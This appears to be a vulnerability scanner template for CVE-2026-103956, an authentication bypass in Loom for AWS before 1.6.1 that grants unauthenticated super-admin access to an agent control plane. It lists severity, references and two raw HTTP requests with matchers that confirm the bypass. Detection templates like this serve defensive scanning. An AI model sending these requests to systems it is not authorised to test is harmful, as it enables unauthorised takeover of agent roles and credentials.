id: CVE-2026-103956 info: name: Loom for AWS < 1.6.1 - Unauthenticated Super-Admin Access author: comradezephyr severity: critical description: | Loom for AWS < 1.6.1 contains a broken authentication caused by missing authentication for critical functions in the authentication dependency, letting remote actors obtain super-admin authority over the agent control plane, exploit requires no identity provider configured. impact: | Remote attackers can gain super-admin privileges, allowing full control over agent roles and credentials. remediation: | Upgrade to version 1.6.1 or later. reference: - https://github.com/awslabs/loom/security/advisories/GHSA-vgmj-998f-r8mp - https://aws.amazon.com/security/security-bulletins/2026-124-aws/ - https://github.com/awslabs/loom/releases/tag/v1.6.1 - https://nvd.nist.gov/vuln/detail/CVE-2026-103956 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2026-103956 epss-score: 0.00468 epss-percentile: 0.39533 cwe-id: CWE-306 metadata: verified: true max-request: 2 vendor: amazon product: loom-for-aws tags: cve,cve2026,loom,aws,auth-bypass,unauth,mcp flow: http(1) && http(2) http: - raw: - | GET /api/auth/me HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers-condition: and matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_all(body, "local-dev", "t-admin", "g-admins-super")' condition: and internal: true - raw: - | GET /api/mcp/servers HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers-condition: and matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' condition: and - type: word part: body words: - "No identity provider configured" - "Not authenticated" negative: true # digest: 4a0a004730450221009f9dcad0ac71df493ebcb94e64472a687982115424686d19b658749f4f11465a02201cafe848f05d5ba0e2e7edb696e9c3838e9ca03af7f2dffc88dc4818f7f84ada:922c64590222798bb761d5b6d8e72950